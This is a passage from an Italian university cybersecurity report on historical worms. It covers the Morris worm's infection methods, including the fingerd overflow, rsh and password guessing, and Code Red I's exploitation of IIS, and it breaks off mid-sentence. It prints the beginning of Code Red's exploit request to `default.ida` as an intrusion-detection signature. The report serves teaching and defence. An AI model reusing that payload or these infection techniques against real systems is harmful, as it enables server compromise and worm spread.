Per maggiori dettagli

Transcript

Per maggiori dettagli
Università degli Studi di Salerno
Dipartimento di Informatica
Progetto per il corso di
Cybersecurity
I Worm
Prof.
Francesco Palmieri
Studenti
Alessandro Strino
Giuseppe Pietravalle
Giuseppe Santaniello
Michele Roviello
Anno Accademico 2015-2016
2
I Worm
20 febbraio 2016
2
Indice
1 Introduzione
5
2 Worm storici
2.1 Il Worm di Morris . . . . . . . . . . . . . . . .
2.1.1 Infezione e Diffusione . . . . . . . . . .
2.1.2 Analisi . . . . . . . . . . . . . . . . . . .
2.1.3 Difesa . . . . . . . . . . . . . . . . . . .
2.2 Code Red I . . . . . . . . . . . . . . . . . . . .
2.2.1 Vulnerabilità sfruttata . . . . . . . . . .
2.2.2 Azione del worm . . . . . . . . . . . . .
2.2.3 Prevenzione e rimozione . . . . . . . . .
2.2.4 Statistiche . . . . . . . . . . . . . . . . .
2.3 Code Red II . . . . . . . . . . . . . . . . . . . .
2.3.1 Azione del worm . . . . . . . . . . . . .
2.3.2 Rimozione . . . . . . . . . . . . . . . . .
2.4 Slammer Worm . . . . . . . . . . . . . . . . . .
2.4.1 Descrizione . . . . . . . . . . . . . . . .
2.4.2 Pseudocodice . . . . . . . . . . . . . . .
2.4.3 Generatore di numeri pseudo-random .
2.4.4 Vulnerabilità dei sistemi colpiti . . . . .
2.4.5 Come vengono sfruttate le vulnerabilità
2.4.6 Impatto . . . . . . . . . . . . . . . . . .
2.4.7 Velocità di propagazione . . . . . . . . .
2.4.8 Difesa . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
7
7
7
11
13
14
14
15
17
17
17
18
21
22
23
24
25
27
28
29
30
31
3 Modelli di diffusione
3.1 Il modello epidemico semplice (modello SI)
3.2 Il modello epidemico generale (modello SIR)
3.3 Il modello a due fattori . . . . . . . . . . . .
3.4 AAWP . . . . . . . . . . . . . . . . . . . . .
3.4.1 Descrizione . . . . . . . . . . . . . .
3.4.2 Analisi . . . . . . . . . . . . . . . . .
3.4.3 Confronti . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
33
33
34
35
37
37
38
39
.
.
.
.
.
.
.
.
.
.
.
.
.
.
4 Emulazione di un worm
41
4.1 Descrizione del worm . . . . . . . . . . . . . . . . . . . . . . . . . 41
4.1.1 Procedura d’infezione . . . . . . . . . . . . . . . . . . . . 41
4.2 Emulazione della propagazione del worm . . . . . . . . . . . . . . 44
3
4
INDICE
4.2.1
4.2.2
4.2.3
Preparazione dell’ambiente di test . . . . . . . . . . . . .
Modalità di diffusione . . . . . . . . . . . . . . . . . . . .
Risultati . . . . . . . . . . . . . . . . . . . . . . . . . . . .
44
45
45
5 Misure di sicurezza
47
6 Conclusioni
51
A Codice
55
Capitolo 1
Introduzione
Nella sicurezza informatica il termine malware indica un qualsiasi software creato allo scopo di causare danni a un computer, ai dati degli utenti del computer,
o a un sistema informatico su cui viene eseguito. La diffusione di tali software
risulta in continuo aumento: si calcola che nel solo anno 2008 su Internet siano
girati circa 15 milioni di malware, di cui quelli circolati tra i mesi di gennaio
e agosto sono pari alla somma dei 17 anni precedenti; tali numeri sono destinati ad aumentare con l’espansione della Rete. Esistono diverse categorie di
malware; una di queste è quella dei Worm. Un worm è un agente software
auto-replicante opportunamente studiato per diffondersi attraverso la rete. È
simile ad un virus ma, a differenza di questo, non necessita di legarsi ad altri
eseguibili per diffondersi ma lo fa replicandosi direttamente su altri computer,
ad esempio tramite e-mail o una rete di computer. Tipicamente un worm modifica il computer che infetta, in modo da venire eseguito ogni volta che si avvia
la macchina e rimanere attivo finché non si spegne il computer o non si arresta
il processo corrispondente. Il worm tenta di replicarsi sfruttando Internet in diverse maniere: spesso i mezzi di diffusione sono più di uno per uno stesso worm.
Il mezzo più comune impiegato dai worm per diffondersi è la posta elettronica:
il programma maligno ricerca indirizzi e-mail memorizzati nel computer ospite
ed invia una copia di sé stesso come file allegato a tutti o parte degli indirizzi
che è riuscito a raccogliere. I messaggi contenenti il worm utilizzano spesso
tecniche di social engineering per indurre il destinatario ad aprire l’allegato, che
spesso ha un nome che permette al worm di camuffarsi come file non eseguibile.
Alcuni worm sfruttano dei bug di client di posta molto diffusi, come Microsoft
Outlook Express, per eseguirsi automaticamente al momento della visualizzazione del messaggio e-mail. Tutti i worm più recenti effettuano la falsificazione
dell’indirizzo mittente, creando un fastidioso effetto collaterale di proliferazione
di messaggi: alcuni software antivirus, montati tipicamente sui server, respingono il messaggio infetto e notificano il fatto al mittente, ma dato che questo è
falso tale notifica arriva ad un destinatario diverso da chi ha realmente inviato
la mail e che nulla ha a che fare con l’invio del worm. Questi eseguibili maligni
possono anche sfruttare i circuiti del file sharing per diffondersi. In questo caso
si copiano tra i file condivisi dall’utente vittima, spacciandosi per programmi
ambiti o per crack di programmi molto costosi o ricercati, in modo da indurre
altri utenti a scaricarlo ed eseguirlo. La tipologia forse più subdola di worm
sfrutta dei bug di alcuni software o sistemi operativi, in modo da diffondersi
5
6
CAPITOLO 1. INTRODUZIONE
automaticamente a tutti i computer vulnerabili connessi in rete. Nel Capitolo
2 sono descritti alcuni dei worm più importanti soffermando l’attenzione sulle
caratteristiche fondamentali e sulle tecniche di difesa e rimozione. Nel Capitolo 3 vengono descritti i modelli di diffusione dei worm conosciuti, effettuando
anche dei confronti fra di loro. Nel Capitolo 4 si effettua una descrizione del
worm creato, enunciando quali sono i passi di esecuzione e qual’è la tecnica di
diffusione utilizzata. Infine nel capitolo 5 vengono descritte quali sono le misure
di sicurezza per prevenire attacchi derivanti dalla diffusione di worm.
Capitolo 2
Worm storici
2.1
Il Worm di Morris
E’ stato uno dei primi worm nella storia dell’informatica e la sua diffusione è
iniziata il 2 Novembre 1988. Il codice del virus è stato scritto da uno studente
della Cornell University, Robert Tappan Morris, ed è stato lanciato dal laboratorio del MIT (Massachusetts Institute of Technology). Il Morris worm non
fu scritto con lo scopo di provocare danni, ma per valutare le dimensioni di
Internet, esso sfruttava alcune vulnerabilità di Unix come: sendmail, finger, rsh
/ rexec e password. Questo programma raccoglieva informazioni su l’host, la
rete, gli utenti e poi irrompeva su altre macchine usando alcuni bug presenti
sul software di rete. Dopo essere penetrato, il programma tentava di replicare
se stesso e la replica a sua volta tentava di infettare altri sistemi. Sebbene il
programma infettasse solo sistemi SUN 3 e computer VAX con varianti del sistema operativo BSD, il programma si diffuse con la stessa velocità con cui si
diffuse la confusione e la costernazione dei system administrator e degli utenti
che scoprirono che il loro sistema era stato invaso. Nonostante la debolezza della sicurezza di UNIX fosse nota da tempo, la portata dell’intrusione portò una
grande sorpresa alla comunità scientifica. Il programma era misterioso per gli
utenti dei siti sui quali compariva. Alcuni file non usuali venivano trovati nella
directory /usr/tmp di alcune macchine, ed alcuni strani messaggi comparivano
nei file di LOG di alcune utility come per esempio il programma per smistare
la mail, sendmail. L’effetto più evidente, era che i sistemi diventavano sempre
più carichi quando si lanciavano processi e l’infezione si replicava sempre più.
Più passava il tempo e più queste macchine diventavano cosı̀ cariche che non
erano in grado di continuare nessun processo: alcune macchine si bloccavano
completamente quando il loro swap space o le process tables erano esauste.
2.1.1
Infezione e Diffusione
Il Worm consiste di due parti: un programma principale, ed un programma di
avvio o vettore. A questo punto, un Worm che gira su di un’altra macchina
può: o aver avuto successo nello stabilire una shell sul nuovo host ed essersi
connesso di nuovo alla macchina infettante attraverso una connessione TCP,
oppure essersi connesso alla porta SMTP e stare trasmettendo delle istruzioni al
programma sendmail. L’infezione procedeva nel seguente modo: veniva stabilito
7
8
CAPITOLO 2. WORM STORICI
un socket sulla macchina infettante per connettersi al programma vettore (per
esempio il socket numero 32341). Da un numero casuale veniva costruita una
stringa di (challenge) sfida. Un altro numero casuale veniva usato per costruire
un nome di file base. Il programma vettore installato ed eseguito in due differenti
modi:
• Attraverso una connessione TCP ad una shell, Figura 2.1
• Usando una connessione SMTP, Figura 2.2
Il programma vettore una volta connesso al Worm server, inviava la stringa
di sfida (challenge string), e trasferiva tre file: una versione binaria del Worm
per Sun 3, una verione binaria per VAX, ed il codice sorgente del programma
vettore. Dopo che i file erano stati copiati, il programma vettore diventava
una shell (attraverso la chiamata execl) con l’input e l’output connessi al Worm
server. Il nuovo Worm sull’host infettato provvedeva a nascondere se stesso
oscurando il suo vettore degli argomenti, cancellando la versione binaria di se
stesso, e uccidendo il suo processo padre. Poi leggeva in memoria i file binari
del Worm, crittografandoli dopo averli letti, e cancellandoli dal disco. In seguito, il nuovo Worm raccoglieva informazioni sulle interfacce di rete e sugli
host che erano connessi alla macchina locale. Costruiva delle liste con queste
informazioni in memoria, compreso informazioni sui nomi canonici e sui nomi
e indirizzi alternativi delle macchine. Effettuava tali raccolte anche attraverso
chiamate ioctl dirette, e lanciando il programma netstat con vari argomenti.
Leggeva anche in vari file di sistema cercando nomi di host da aggiungere al suo
database in memoria. Mischiava la lista cosı̀ costruita di host, e poi iniziava ad
infettare alcuni di questi ultimi. Per le reti connesse direttamente, aveva creato
una lista di possibili indirizzi numerici e da questi iniziava ad infettare gli host se esistevano. A seconda del tipo di host (gateway o rete locale), il Worm
tentava di stabilire una connessione sulle porte telnet o rexec per determinarne
la raggiungibilità prima di provare uno dei metodi di infezione. I tentativi di
infezione procedevano su una delle seguenti strade:
• rsh;
• fingerd;
• sendmail.
L’attacco via rsh veniva tentato cercando di generare una shell remota invocando (in ordine di tentativo) /usr/ucb/rsh, /usr/bin/rsh, e /bin/rsh. Se si aveva
successo, l’host veniva infettato come descritto in precedenza stabilendo un socket, attraverso una connessione TCP. L’attaco attraverso il finger daemon era
leggermente più astuto. Veniva stabilita una connessione al daemon di finger sul
server remoto e una stringa appositamente costruita di 536 byte veniva passata
al daemon remoto, mandando in overflow il buffer di input e sovrascrivendo
parti dello stack. Per le versioni standard di BSD che girano su computer VAX,
l’overflow risultava nello stack frame di ritorno della routine main, in modo
che l’indirizzo di ritorno dello stack frame puntava nel buffer dello stack. Le
istruzioni che venivano scritte nello stack in quella locazione sono mostrate in
Figura 2.4.
Per cui, il codice eseguito quando la routine main cercava di ritornare era:
execve (”/bin/sh”,0,0). Sui VAX, questo portava come conseguenza che il Worm
2.1. IL WORM DI MORRIS
9
Figura 2.1: Procedura tramite connessione TCP (le due linee che cominciano con cc venivano
mandate su di una singola linea)
Figura 2.2: Usando una connessione SMTP
Figura 2.3: Questa figura mostra le istruzioni e i commenti per il buffer overflow allo stack.
10
CAPITOLO 2. WORM STORICI
era connesso ad una shell remota attraverso una connessione TCP. Il Worm procedeva ad infettare l’host come già visto in precedenza in Figura 2.1. Sulle SUN,
portava semplicemente ad un file di core visto che tale attacco non funzionava
per le versioni di fingerd su SUN. Il Worm poi provava ad infettare un host
remoto stabilendo una connessione sulla porta SMTP e spediva il codice di infezione come visto in Figura 2.2. Non venivano provati tutti i passi. Appena
un metodo aveva successo, l’entrata dell’host nella lista interna era marcata,
marcando l’host come infettato e non venivano provati altri metodi. A questo
punto, il Worm entrava in una macchina a stati finiti composta da cinque stati.
I primi quattro stati cercavano di penetrare nelle informazioni di account di un
utente della macchina locale, il quinto stato, invece, era quello finale e veniva
eseguito dopo che erano stati effettuati tutti i tentativi di rompere le password
degli utenti. In quest’ultimo, il Worm ciclava all’infinito cercando di infettare
gli host presenti nelle sue tavole locali e marcati come non ancora infettati. I
primi 4 stati svolgevano il seguente lavoro:
1. Il Worm leggeva nei file /etc/hosts.equiv e /.rhosts per cercare i nomi degli
host equivalenti. Tali host venivano marcati come equivalenti nella tavola
interna degli host (in memoria). Dopo, il Worm leggeva il file /etc/passwd
in una struttura dati interna. Mentre stava facendo ciò, esaminava anche il
file .forward nella home directory di ciscun utente ed includeva gli eventuali
host trovati nella sua lista interna di host da provare. Stranamente, non
faceva un controllo simile per i file .rhosts di ciascun utente.
2. Il Worm cercava di rompere la password di un utente usando delle scelte
semplici. Per prima cosa controllava il caso banale in cui la password
non era presente. Poi, come password usava il nome di account. Da test
effettuati si vede che password di questo tipo vengono scelte dal 30% degli
utenti.
3. Il terzo stato nel processo di rompere la password di un utente era quello
di provare usando un dizionario interno composto di 432 parole, scegliendo
a caso un account.
4. Si entrava nel quarto stadio solo se tutti gli altri tentativi fallivano. Per
ogni parola nel file /usr/dict/words, il Worm tentava la ricerca di una
eventuale password. In più se la parola nel dizionario cominciava con
una maiuscola, tale lettera veniva convertita in minuscolo e veniva testata
anche la nuova parola.
Quando per un account era stata rotta una password, il Worm tentava di penetrare nelle macchine remote dove lo stesso utente aveva un account. A questo
punto il Worm scandiva i file .forward e .rhosts alla ricerca dei nomi degli host
remoti sui quali si supponeva che l’utente locale avesse un’altro account. Poi
provava con due tipi di attacchi:
1. Come prima cosa cercava di creare una shell remota usando il servizio
rexec. Il tentativo veniva fatto tentando il nome dell’account presente nei
file .forward e .rhosts e la password dell’utente sull’host locale. Tutto ciò
sfruttando il fatto che gli utenti usano spesso la stessa password per il loro
account su più macchine.
2.1. IL WORM DI MORRIS
11
2. Effettuava una rexec all’host corrente (usando il nome di account e la
password locali) e tentava un comando rsh all’host remoto usando il nome
di account preso dal file. Questo attacco aveva successo in tutti quei casi
in cui la macchina remota aveva il file /etc/hosts.equiv o l’utente aveva
un file .rhosts che permetteva l’esecuzione remota senza password.
Se la shell remota veniva creata in uno di questi due modi, allora l’attacco continuava come ai passi visti in precedenza Figura 2.2. Non veniva fatto nessun
altro uso delle password degli utenti che erano state rotte. Attraverso l’esecuzione del loop principale, il Worm controllava la presenza di altri Worm che
giravano sulla stessa macchina. Per fare questo il Worm cercava di connettersi ad un altro Worm su di un predeterminato socket TCP locale. Se tale
connessione aveva successo, un Worm settava (a caso) la sua variabile interna
pleasequit a 1, in modo da causarne la morte dopo avergli fatto raggiungere
la parte interna del terzo stato dei cinque. Questo ritardo spiegava in parte il
motivo per cui molti sistemi avevano copie multiple del Worm che giravano nello
stesso momento. Un Worm su sette diventava immortale invece di controllare la
presenza di altri Worm sul sistema locale. Ciò veniva fatto probabilmente per
scavalcare eventuali tentativi di vaccinare un sistema facendo girare un processo
fittizio che simulasse la presenza del Worm in attesa su di una connessione TCP
sulla porta predefinita. Tutto questo contribuiva anche ad aumentare il carico
della macchina una volta infettata. Il Worm cercava di inviare un pacchetto
UDP all’host ernie.berkeley.edu approssimativamente una volta ogni 15 infezioni. Il codice per fare ciò era sbagliato, per cui, nessuna informazione veniva
inviata. Lo scopo di tale informazione eventualmente inviata non è noto, ma si
pensa che l’autore del Worm avesse voluto monitorare la diffusione del Worm
dall’host ernie (eventualmente rompendo un account su quella macchina) con
un programma che testasse l’invio di pacchetti UDP su tale porta. In ogni caso
a Berkeley non sono state trovate tracce di un eventuale programma, e quindi
si pensa che tutto ciò sia stato fatto solo per far ricadere eventuali falsi sospetti
sul personale di Berkeley. Il Worm cercava anche di forkare se stesso ad intervalli regolari e di killare il suo processo padre. Lo scopo di ciò era duplice. Per
primo, siccome il Worm cambiava ripetutamente il suo process id non avrebbe
mai accumulato un CPU Time eccessivo da poter essere notato dagli strumenti classici di system administration. In secondo luogo, i processi che stanno
girando da molto tempo su di un sistema vengono abbassati di priorità dallo
scheduler del sistema operativo. Effettuando una fork il nuovo processo riguadagnerà nuovamente una priorità di scheduling normale. Questo meccanismo
non funzionava correttamente, ed infatti, sono state notate istanze del Worm
che avevano accumulato più di 600 secondi di CPU Time. Se il Worm girava
per più di 12 ore, allora scaricava dalla sua lista host di tutti gli host marcati
come immuni o come già infettati. Il modo in cui gli host venivano aggiunti
a questa lista portava come conseguenza che un Worm poteva reinfettare una
stessa macchina ogni 12 ore.
2.1.2
Analisi
Quando il Worm inizia l’esecuzione nel main(), si preoccupa di fare alcune inizializzazioni, alcune difese ed alcune pulizie. La prima cosa che fa è cambiare
il suo nome in sh. Ciò riduce la finestra di tempo durante la quale il processo
12
CAPITOLO 2. WORM STORICI
Figura 2.4: Questa figura mostra lo preusdo codice in C per il Worm di Morris
rimane visibile con un nome strano del tipo x9834753. A questo punto inizializza un numero casuale utilizzando l’orario di sistema corrente, disabilita il dump
del core, e si prepara a morire quando la connessione remota fallisce. Una volta
fatto tutto ciò processa la sua lista di parametri. Come prima cosa cerca l’opzione -p $$, dove $$ rappresenta il process ID del processo padre; questa opzione
dice al Worm che in seguito si suiciderà. Procede poi a leggere in memoria gli
altri file che sono passati come argomento; li rimuove dal disco non appena li ha
letti. Se il Worm non trova il sorgente del programma vettore come argomento
esce silenziosamente; ciò viene fatto probabilmente per frenare eventuali analisi
del Worm da terze persone. Nella fase di pulizia come prima cosa chiude i suoi
file descriptor, tagliandosi fuori temporaneamente dal Worm genitore sull’host
remoto, e cancellando alcuni file. Il Worm azzera la sua lista degli argomenti,
per ingannare il programma ps. Il prossimo passo è quello di inizializzare la
lista interna delle interfacce di rete; tali interfacce verranno usate per testare le
reti locali e trovare nomi alternativi per l’indirizzo dell’host corrente. Infine, il
Worm resetta il suo process group e killa il processo che lo aveva aiutato a bootstrapare. L’ultima azione del Worm nel main è quella di chiamare una funzione
di nome doit(), che contiene il loop principale del Worm stesso. doit() fà girare
un piccolo prologo prima di entrare effettivamente nel ciclo principale. Inizializza (in modo ridondante) un generatore di numeri casuali con l’orario corrente,
conservandosi l’orario in modo da poter testare da quanto tempo sta girando.
Il Worm poi tenta la sua prima infezione. Come prima cosa attacca i gateway
che aveva trovato con il programma netstat; se non può infettare nessuno di
questi host, allora prova a caso degli host sulla rete locale, poi prova a caso
degli host che non sono tanto lontani dall’host gateway, in ogni caso fermandosi
se avrà successo. Dopo questo tentativo iniziale di infezione, il Worm chiama la
routine checkother() per controllare la presenza di un altro Worm sulla stessa
macchina locale. In questo controllo il Worm si comporta come un client verso un Worm esistente che si comporta come un server; si scambiano a questo
punto un messaggio sul population control, dopo del quale, eventualmente, uno
2.1. IL WORM DI MORRIS
13
dei due Worm va in shutdown. Appena prima di entrare nel loop principale il
Worm chiama una strana routine. Tale routine viene chiamata send message(),
ma in realtà non invia niente. Pare che il suo scopo fosse quello di mandare un
datagram di 1 byte ogni 15 copie del Worm ad un porta ben definita dell’host
ernie.berkeley.edu (come già detto in precedenza). Il loop principale comincia
con una chiamata alla funzione cracksome() per effettuare alcune operazione di
password cracking. La password cracking è un’attività che il Worm svolge in
modo costantemente crescente. Fa una pausa di 30 secondi alla ricerca di eventuali altre copie del Worm che stessero cercando di penetrare sull’host locale, e
poi ritorna alla fase di cracking. Dopo questa parte, effetua una fork (crea un
nuovo processo che gira con una copia della stessa immagine di codice eseguibile) e fà terminare il vecchio processo. A questo punto il Worm ritorna alla sua
fase infettiva, tentando (in ordine di precedenza) con i gateway, gli host elencati
nel file /etc/hosts.equiv, numeri di host scelti a caso dall’altro lato dei gateway
e numeri di host scelti a caso sulla rete locale. Come prima, anche ora, non appena si ha successo nell’infettare un nuovo host, lo si marca come infettato nella
lista interna degli host e si lascia la fase di infezione, per ritornarci in seguito.
Dopo l’infezione il Worm si ferma per due minuti cercando nuovamente altre
copie di se stesso sulla macchina locale; tutto ciò viene rifatto perché un host
remoto protrebbe aver cercato nuovamente di infettare la macchina locale. Se
sono trascorse 12 ore ed il Worm è ancora vivo, allora si suppone che la scelta degli host da infettare da parte del Worm sia stata sfortunata, e quindi si procede
a ri-inizializzare la tabella degli host da infettare. Alla fine del loop principale
il Worm controlla sia se lui stesso era stato schedulato a morire, e sia se avesse
effettuato una quantità di lavoro sufficiente nella fase di password cracking. Se
le due condizioni si verificano entrambe, allora termina l’esecuzione.
2.1.3
Difesa
Ci furono molti tentativi per fermare il Worm. Tali tentativ variavano a seconda
delle inconvenienze che avevano gli utenti finali sui sistemi attaccati, al grado di
competenza necessario per implementare tali difese, alla loro effettiva efficienza.
• L’isolamento completo dalla rete fu spesso un inconveniente, ma fu molto
efficace nel fermare il Worm, ed in più era semplice da implementare.
• Disabilitare il servizio di mail era sconveniente sia per gli utenti locali che
per quelli remoti; era inefficace per fermare il Worm, ma era semplice da
implementare.
• Patchare il comando DEBUG in sendmail era efficace solo se accompagnato da altri bug-fixes, non interferiva con gli utenti normali, ed erano
disponibili semplici istruzioni per implementarlo.
• Buttare giù il finger daemon era efficace solo se accompagnato dalla rimozione degli altri bug; poteva non dar fastidio agli utenti, ma era realizzabile
semplicemente.
• Sistemare il finger daemon richiedeva il codice sorgente, ma era efficace
come buttarlo giù, senza dare fastidio agli utenti.
• mkdir /usr/tmp/sh era conveniente, semplice, ed efficace nel prevenire la
propagazione del Worm.
14
CAPITOLO 2. WORM STORICI
• Definire pleasequit nella libreria di sistema era conveniente, semplice, e
faceva molto per fermare il Worm.
• Rinominare il compilatore ed il linker di UNIX (cc e ld) era una misura
drastica, e qualche volta sconveniente per gli utenti, ma efficace nel fermare
il Worm.
Dopo che il Worm fu analizzato, fu reso disponibile su Internet un tool che
duplicava l’attacco sulle password (incluso il dizionario che si trovava nel Worm).
La diffusione del Worm dovrebbe aver aumentato la consapevolezza degli utenti
(e dei system administator) che scegliere una password difficile fosse una cosa
buona e giusta.
2.2
Code Red I
Il Code Red è un virus informatico scoperto la prima volta il 13 luglio 2001 e
che ha avuto la massima espansione il 19 luglio dello stesso anno, infettando
359000 server. Il virus attaccava computer basati sul sistema Microsoft IIS web
server. Il virus Code Red è stato scoperto e studiato da Marc Maiffret e Ryan
Permeh, due dipendenti della eEye Digital Security. Il nome ”Red Code” proviene da quello della bibita che stavano bevendo durante la scoperta: il Code
Red Mountain Dew. Code Red si insinuava soltanto sui computer che utilizzavano i sistemi operativi Windows NT o Windows 2000, sfruttando una falla di
sicurezza del software IIS Web Server della Microsoft. Spegnere e riaccendere
il computer era sufficiente a rimuovere il virus, ma in molti casi il riavvio di un
server risultava essere molto dannoso, in quanto comportava la perdita di dati
importanti e quindi di denaro.
Nei paragrafi successivi verrà descritto in dettaglio Code Red, sottolineando
la vulnerabilità che esso sfruttava, il suo comportamento, i metodi di rimozione,
e presentando delle statistiche in merito alla sua diffusione. Inoltre, verrà introdotto anche Code Red II, un altro worm che sfruttava la stessa vulnerabilità di
Code Red.
2.2.1
Vulnerabilità sfruttata
Il 18 Giugno 2001, la eEye Digital Security ha riportato l’esistenza di una vulnerabilità di buffer overflow remoto in tutte le versioni del software IIS Web
Server. L’installazione dell’Internet Information Server include per default numerose estensioni Internet Service API (ISAPI) o librerie dinamicamente linkate
(DLL); tra queste ultime è presente il file IDQ.DLL che è una componente dell’Index Server (conosciuto come Indexing Service in Windows 2000) e fornisce
supporti per script amministrativi (file .IDA) e Internet Data Queries (file .IDQ).
L’Indexing Server 2.0 e gli Indexing Services forniscono una ricerca completa del
testo e un servizio di indicizzazione per cercare dati su un server web o su un
sito.
La vulnerabilità della sicurezza fu scoperta proprio in IDQ.DLL. Il filtro
ISAPI non eseguiva un adeguato bounds checking, cioè un controllo dei limiti
sui buffer di input dell’utente. Un host remoto che si connette al server può
iniziare un attacco che porterà all’overflow del buffer. Ciò causerà sia un Denial
of Service sul server, oppure introdurrà su di esso del codice malizioso. Tale
2.2. CODE RED I
15
codice, che gira nel contesto di sicurezza locale del sistema, fornirà all’attaccante
il completo controllo del server, abilitandolo virtualmente ad effettuare qualsiasi
operazione su di esso, incluso il cambio di pagine web, la formattazione dell’hard
disk e l’aggiunta di nuovi utenti al gruppo locale degli amministratori.
L’Index Service ISAPI si poteva trovare sui seguenti sistemi:
• Microsoft Windows NT 4.0 IIS Services 4.0;
• Microsoft Windows 2000 IIS Services 5.0;
• Microsoft Windows XP beta IIS Services 6.0 beta.
Sono state individuate due versioni di Code Red, che differiscono solamente
nel modo in cui sono generati gli indirizzi IP delle macchine da infettare (di cui
si parlerà in seguito).
Siccome il worm risiedeva solo in memoria, non era possibile trovare un
file o qualsiasi altra traccia sul disco che indicasse la sua presenza. Tuttavia,
era possibile rilevare Code Red controllando il carico di lavoro della CPU del
server colpito e l’elevato numero di connessioni esterne sulla porta 80 verso altre
macchine. Si può verificare quali connessioni esterne il sistema ha attualmente
aperto eseguendo il seguente comando:
netstat –a
Se si usa un sistema di rilevamento di intrusioni, questo dovrebbe essere
capace di rilevare gli attacchi del worm. L’inizio del pacchetto d’attacco appare
come segue:
GET/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858
%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090
%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff %u0078%u0000%u00=a
2.2.2
Azione del worm
Il worm tentava di connettersi alla porta 80 TCP di un host scelto a caso,
assumendo che il server web fosse in esecuzione su tale porta. Dopo essersi
connesso con successo, l’host attaccante mandava una richiesta di HTTP GET
alla vittima. Tale richiesta sfruttava la vulnerabilità di buffer overflow causando l’esecuzione su tale sistema del worm, il quale non risiedeva sul disco, ma
era inserito (ed eseguito) direttamente in memoria. Altri 99 thread venivano
creati a partire dal thread originale. Questi ultimi tentavano di diffondere il
worm (infettando altri server web) mirando ad indirizzi IP casuali, se la data
era precedente al 20 del mese (fase di propagazione). Il generatore di indirizzi
IP veniva inizializzato, nel caso della prima versione di Code Red (Code Red
v1 ), con lo stesso seme, in modo che la lista di macchine attaccate dal worm
fosse identica per ogni copia del worm; nel caso della seconda versione di Code
Red (Code Red v2 ) il generatore era invece inizializzato ogni volta con un seme
16
CAPITOLO 2. WORM STORICI
Figura 2.5: Pagina web mostrata da Code Red
diverso. Il risultato è che le macchine i cui indirizzi IP sono in cima alla lista
saranno ripetutamente ”sondate” da ogni thread del worm in esecuzione su ogni
macchina infettata, creando cosı̀ un effettivo attacco di tipo Denial of Service.
Inoltre, i sistemi vulnerabili possono essere compromessi più volte, ottenendo
come risultato l’esistenza di numerose istanze del worm in esecuzione su di essi,
ognuna con un massimo di 100 thread separati. Dopo ogni attacco, il worm
controllava di nuovo la data e decideva se attaccare un’altra macchina oppure
il sito www.whitehouse.gov.
Il 100◦ thread del codice del worm effettuava un controllo sul linguaggio di
default del sistema:
• Se era U.S. English, inizialmente il thread ”dormiva” per 2 ore e poi
”lanciava” una funzione che intercettava le richieste HTTP e rispondeva
ad esse restituendo non la pagina richiesta bensı̀ la pagina web mostrata
in figura 2.5. Questi cambiamenti nella homepage erano provocati solo
dal codice in memoria ma non si ripercuotevano sui file sul disco: le pagine
web del sito attaccato non venivano pertanto modificate.
• Se non era U.S. English, il 100◦ thread tentava semplicemente di infettare
altri sistemi.
Una volta in esecuzione, ogni thread del worm cercava il file C:\NOTWORM :
se veniva trovato, il thread andava in una sleep infinita, altrimenti tentava di
infettare altri sistemi creando nuovi thread. Molto probabilmente ciò è servito
al creatore del worm per evitare che questo infettasse la propria macchina.
Se la data del sistema attaccato era il 20 del mese, i thread attivi tentavano un attacco di tipo Denial Of Service sull’indirizzo IP 198.137.240.91
(www.whitehouse.gov ) inviando una grande quantità di dati ”spazzatura”, 98304
pacchetti, alla porta 80 per un totale di circa 410 megabyte ogni quattro ore e
mezza per ogni istanza del worm (fase di flooding). Se la data era successiva al
20, i thread del worm erano indotti ad una sleep infinita (fase di terminazione).
2.3. CODE RED II
2.2.3
17
Prevenzione e rimozione
L’utilizzo di un normale programma antivirus non si è rivelata una soluzione
efficace per rilevare e rimuovere questo worm poiché, come già detto, esso era
presente solo nella memoria di un sistema e non scriveva sul disco. Erano però
disponibili in Internet alcune applicazioni gratuite per controllare se l’IIS fosse
vulnerabile: un esempio è il programma FixCodeRed della Symantec che metteva
in guardia contro la vulnerabilità dei sistemi ed effettuava una scansione della
memoria per rilevare tracce di Code Red. Un programma simile è CodeRed
Scanner della eEye Digital Security. Un normale reboot del server rimuoveva il
worm e ripristinava il sistema. Comunque, a causa del gran numero di sistemi
infettati e poiché le istanze del worm potevano attaccare nuovamente la stessa
lista di indirizzi IP, c’era un’alta probabilità che un sistema veniva reinfettato
non appena terminata la fase di riavvio. Pertanto, per proteggere il sistema era
di vitale importanza applicare la patch proposta dalla Microsoft.
2.2.4
Statistiche
Il 19 luglio 2001 più di 359.000 computer sono stati infettati da Code Red in
meno di 14 ore. Al culmine del processo di infezione, sono stati colpiti più di
2000 host al minuto, il 43% dei quali si trovavano negli USA, l’11% in Corea,
il 5% in Cina e il 4% in Taiwan. Inoltre di tutte le macchine compromesse, il
19% apparteneva al Top Level Domain (TLD) .NET, il 14% al .COM, il 2% al
.EDU e lo 0,05% al .GOV.
Intorno alle 10:00 UTC (Coordinated Universal Time) del 19 Luglio 2001,
